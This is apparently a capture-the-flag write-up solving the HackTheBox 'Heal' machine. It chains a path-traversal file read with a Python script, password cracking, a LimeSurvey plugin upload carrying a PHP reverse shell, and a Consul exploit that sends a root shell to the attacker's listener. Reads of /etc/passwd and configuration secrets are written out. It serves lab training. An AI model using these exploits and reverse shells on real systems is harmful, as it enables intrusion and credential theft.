Heal – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
![]()
Summary Link to heading
“Heal” is a Medium machine from HackTheBox platform. After searching for subdomain and directories in those subdomains, we find a function that allow us to download files from the web target. This function is vulnerable to Local File Inclusion, which eventually let us to know the existance of a database file in the system. We can download this file using this vulnerability, and get a password for a LimeSurvey panel. This panel is vulnerable to CVE-2021-44967, which allows a Remote Code Execution as an authenticated user. Abusing this vulnerability, we gain access into the target machine and find a configuration file with a password. This password is used by one of the users in the system, allowing us to gain access as an initial user. Once inside the target machine, we can see an internal service running Consul. This software is running a vulnerable version that allows another Remote Code Execution. After establishing a tunnel, we are able to run this exploit against the internal service and get access as root user, compromising the system.
User Link to heading
We start with a quick scan with Nmap looking for open TCP ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.46
We only have 2 ports open: 22 SSH and 80 HTTP.
Applying some recognition scans with -sVC flag over these ports we get:
❯ sudo nmap -sVC -p22,80 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:06 -03
Nmap scan report for 10.10.11.46
Host is up (0.49s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds
From the output we can see that we have a domain: heal.htb
We add this domain to our /etc/hosts file:
❯ echo '10.10.11.46 heal.htb' | sudo tee -a /etc/hosts
Visiting then http://heal.htb shows a webpage with a login portal:

The site says that it is a webpage to build fast Resumes.
If we attempt to create an account there is an error that does not allow us to create one:

But if we go to the main page, refresh and pass the credentials for our recently created used they work. We can now see:

If we add some info and create a PDF the page shows, as it says at home page, a Resumee:

In the Resumee Builder page (after we log in with our account), there is a Survey button. Clicking on it redirects to a new page http://heal.htb/survey:

Looking where Take the Survey button goes redirects to the domain take-survey.heal.htb. We add this subdomain to our /etc/hosts, now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb
Once added, we can click on the button Take the Survey. The page presents a simple survey:

But if we visit http://take-survey.heal.htb/ we can now see some info:

We have a contact ralph@heal.htb, who should be the administrator for the survey page.
Searching for directories through a Brute Force Directory Listing with Gobuster in this webpage we get some of them:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://take-survey.heal.htb/ -x php -t 20 -s 200,301 -b ''
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 301,200
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 75816]
/admin (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/plugins (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
===============================================================
Finished
===============================================================
We can see an /admin directory. Visiting http://take-survey.heal.htb/admin shows a login panel:

But we don’t have credentials. So we might come back to this site later.
We can then search by vhosts using ffuf and a dictionary from SecLists:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://heal.htb -H 'Host: FUZZ.heal.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 247ms]
:: Progress: [19966/19966] :: Job [1/1] :: 153 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
We get a subdomain: api.heal.htb.
We add this new subdomain to our /etc/hosts file, so now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb api.heal.htb
Visiting then http://api.heal.htb shows:

The site is running Ruby (Ruby on Rails). But nothing besides this.
Back to Resume Builder with out created account, we intercept the request sent when we attempt to create a PDF file. We intercept the request with Burpsuite and select the option Do intercept -> Response to this request:

We eventually get the request with GET:
GET /download?filename=../../../../../../etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
Where filename is a random filename the PDF is saved in our machine. If we change filename parameter to ../../../../../../../etc/passwd to see if we have a Local File Inclusion we get a response:

This parameter is vulnerable to LFI.
We can then create a simple Python script to read different files in the system using the Jason Web Token from the session:
import requests
import argparse
from sys import exit as sys_exit
# URL containing LFI vulnerability
url: str = "http://api.heal.htb:80/download?filename="
def parse_arguments()->argparse.Namespace:
"""
Get arguments from user
"""
parser = argparse.ArgumentParser(description="LFI script for HTB Heal machine.")
# Add optional arguments with flags
parser.add_argument("-f", "--file", type=str, help="Absolute path to file to read through LFI", required=True)
parser.add_argument("--jwt", type=str, help="Jason Web Token session", required=True)
# Return the parsed arguments
return parser.parse_args()
def read_file(args:argparse.Namespace)->None:
"""
LFI exploit
"""
lfi_url = url + args.file
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Authorization": f"Bearer {args.jwt}",
"Origin": "http://heal.htb",
"DNT": "1", "Connection": "close",
"Referer": "http://heal.htb/"}
r = requests.get(lfi_url, headers=headers)
if r.status_code == 404:
print(f"[-] File {args.file!r} not found")
sys_exit(1)
if r.status_code != 200:
print(f"[-] Invalid status code: {r.status_code}")
sys_exit(1)
print(r.text)
def main()->None:
# Get arguments from user
args = parse_arguments()
# Execute Local File Inclusion
read_file(args)
if __name__ == "__main__":
main()
We test the script, passing as arguments the absolute path of the file we want to read and the JWT from the session:
❯ python3 lfi.py -f '../../../../../../etc/passwd' --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>
It works!
Filtering by potential users, excluding rootand postgres, we have 2 users:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../etc/passwd' | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
ralph and ron are new users.
We are not able to read potential SSH keys for these users:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ralph/.ssh/id_rsa'
[-] File '../../../../../../home/ralph/.ssh/id_rsa' not found
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ron/.ssh/id_rsa'
[-] File '../../../../../../home/ron/.ssh/id_rsa' not found
Now, since http://api.heal.htb was running Ruby on Rails we can check its configuration files. Based on this, the file config/application.rb should exist. After playing with some paths with out script, we eventually can read a file:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/application.rb'
require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module ResumeApi
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 7.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w(assets tasks))
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
After reading some of the documentation, to configure a database we should have the file config/database.yml. Attempting to read this file we get:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
We have 2 files being used: storage/test.sqlite3 and storage/development.sqlite3.
If we attempt to read them through the script we get:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../storage/development.sqlite3'
¿QLite format 3@ .vä
}„(÷
„
∫ÅT55ÇKtablear_internal_metadataar_internal_metadataCREATE TABLE "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL)G[5indexsqlite_autoindex_ar_internal_metadata_1ar_internal_metadatx//
<SNIP>
07:49:07.2690482024-09-27 07:49:07.269049O##AAenvironmentdevelopment2024-09-27 07:49:07.2666762024-09-27 07:49:07.266679
·Ò·#schema_sha1# environment
Just a bunch of data. Since the original webpage was designed to download a PDF, we can go back to Burpsuite, intercept the request and attempt to download the file:
GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
We have a downloaded a file .pdf, but if we check the downloaded file we see it’s an SQLite file:
❯ file ~/Downloads/4fbf8c3e57d43f60461c.pdf
/home/gunzf0x/Downloads/4fbf8c3e57d43f60461c.pdf: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Rename this file and read it using SQLite:
❯ mv ~/Downloads/4fbf8c3e57d43f60461c.pdf ./development.sqlite3
❯ sqlite3 development.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite>
In the database we have a users table. Extract some info from this table:
sqlite> .tables
ar_internal_metadata token_blacklists
schema_migrations users
sqlite> PRAGMA table_info(users);
0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0
sqlite> select email,username,is_admin,password_digest from users;
ralph@heal.htb|ralph|1|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
gunzf0x@gunzf0x.htb|gunzf0x|0|$2a$12$8xVXNUtPJhaHR1.kFl7h0uA.6KO6LrRkub9/uPA3brg0x20KeWgwe
We have a hash for ralph user.
We save ralph hash into a file named ralph_hash and attempt to crack it through a Brute Force Password Cracking with john and rockyou.txt dictionary:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt ralph_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:12 DONE (2024-12-21 02:42) 0.07770g/s 38.46p/s 38.46c/s 38.46C/s single..147258
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We got a password: 147258369.
We check if this password works for ralph user, that we have seen that existed in the victim machine, to log in through SSH with NetExec:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p '147258369'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:147258369
This password does not work.
What about the survey site? We can go to the admin panel at http://take-survey.heal.htb/admin and use the credentials ralph@heal.htb and password 147258369. They worked and we are in:

If we go at the bottom of the page we can see a version for LimeSurvey: LimeSurvey Community Edition Version 6.6.4.
Searching for exploits for this version and software we find this Github exploit that is an authenticated Remote Code Execution using a vulnerability labeled as CVE-2021-44967. Since we do have credentials it should work. We need to edit config.xml for the exploit to work. We add the line <version>6.0</version> to it and touch some little details, so now it looks like:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>gunzf0x</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>gunzf0x</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : gunzf0x`></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Where, again, we have added the line <version>6.0</version>.
Additionally, we need to edit php-rev.php. We change the first lines to:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4'; // CHANGE THIS
$port = 443; // CHANGE THIS
<SNIP>
Where 10.10.16.4 is our attacker IP address and 443 the port we will start listening with netcat to establish a reverse shell.
Compress both files that we will upload into a .zip file:
❯ zip gunzf0x_exploit config.xml php-rev.php
adding: config.xml (deflated 57%)
adding: php-rev.php (deflated 61%)
Start a listener with netcat on port 443:
❯ nc -lvnp 443
listening on [any] 443 ...
Then, just follow the instructions from the webpage. Go to Configuration, then Plugins and click on Upload & Install. We install the generated zip file. Once installed we can see that our plugin is there:

Click on ... at the plugin and click on Activate. Then, just visit http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php:
❯ curl -s http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php
and we get a shell as www-data user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 42780
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
06:26:33 up 2:32, 0 users, load average: 0.02, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
After searching for some passwords at /var/www we find:
www-data@heal:~/limesurvey$ grep -ir 'password' . 2>/dev/null | grep -vE '\.js|remix|tmp|\.css|release|\.lss' | grep 'config' | grep '\$'
./vendor/phpmailer/phpmailer/src/DSNConfigurator.php: $mailer->Password = $config['pass'];
./application/commands/InstallFromConfigCommand.php: 'password' => password_hash((string) $this->configuration['config']['defaultpass'], PASSWORD_DEFAULT),
./application/core/LSYii_Application.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/core/ConsoleApplication.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/config/config.php: 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
./application/config/config.php: 'password' => 'AdmiDi0_pA$$w0rd',
./application/config/email.php:$config['emailsmtpuser'] = ''; // SMTP authorisation username - only set this if your server requires authorization - if you set it you HAVE to set a password too
<SNIP>
Reading /var/www/limesurvey/application/config/config.php file shows:
www-data@heal:~/limesurvey$ cat ./application/config/config.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
<SNIP>
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
<SNIP>
We have a password for a PostgreSQL database: AdmiDi0_pA$$w0rd.
We check if this password works for ralph or ron user with NetExec:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:AdmiDi0_pA$$w0rd
❯ nxc ssh 10.10.11.46 -u 'ron' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [+] ron:AdmiDi0_pA$$w0rd Linux - Shell access!
And they do work for ron user. So we have credentials: ron:AdmiDi0_pA$$w0rd.
Connect to the victim machine through SSH:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no ron@10.10.11.46
<SNIP>
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
ron@heal:~$
We can finally read the user flag.
Root Link to heading
Checking internal ports open we have many of them:
ron@heal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
We check if any of these internal ports are websites using cURL against them. If we get a response they might be internal websites. For this we check them through a Bash oneliner:
ron@heal:~$ for port in 3000 3001 5432 8300 8301 8302 8500 8503 8600; do echo "[+] Requesting port $port"; curl -s "http://127.0.0.1:$port" | head -n 5; done
[+] Requesting port 3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
[+] Requesting port 3001
[+] Requesting port 5432
[+] Requesting port 8300
[+] Requesting port 8301
[+] Requesting port 8302
[+] Requesting port 8500
<a href="/ui/">Moved Permanently</a>.
[+] Requesting port 8503
[+] Requesting port 8600
Port 3000 and 8500 show responses, so they might be internal websites.
We exit from the current SSH session and reconnect to the target machine with a Local Port Forwarding to convert port 3000 of the victim machine into our port 3000, and port 8500 of the victim machine into our port 8500:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 -L 8500:127.0.0.1:8500 ron@10.10.11.46
If we go to a web browser and visit http://127.0.0.1:3000 it just shows the same webpage shown at http://heal.htb. But if we visit http://127.0.0.1:8500 we get:

The site is running Consul v1.19.2, as we can see at the bottom left side of the page.
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.This service is being executed by root, as can be seen if we check processes in the victim machine:
ron@heal:~$ ps aux | grep root | grep consul
root 982 0.5 2.7 1357476 108528 ? Ssl 03:54 1:02 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
Searching for consul exploit shows the following exploit from exploit-db. We download it as exploit.py and execute it:
❯ python3 exploit.py
[-] Usage: python3 exploit.py <rhost> <rport> <lhost> <lport> <acl_token>
The only parameter we do not know what is, is <acl_token>.
Searching acl token consul we find this developer page. Basically, it is the token to log into the page. Since we don’t have one, I assume it is kind of a null session or the value just does not exist. So we can just pass 0 as <acl_token>. We can find more information about anonymous tokens here. With all the info, and after starting a new listener with netcat on port 443, just run the exploit:
❯ python3 exploit.py 127.0.0.1 8500 10.10.16.4 443 0
[+] Request sent successfully, check your listener
where 127.0.0.1 is the localhost -hosting the internal service due to Local Port Forwarding-, 8500 is the port for the internal service with the tunnel, 10.10.16.4 is our attacker IP (the IP address we want to send the reverse shell), 443 is our listening port with netcat and 0 as the acl_token value.
After some seconds, we get a shell as root:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 38294
bash: cannot set terminal process group (9195): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami
whoami
root
GG. We can read the root flag at /root directory.
~Happy Hacking.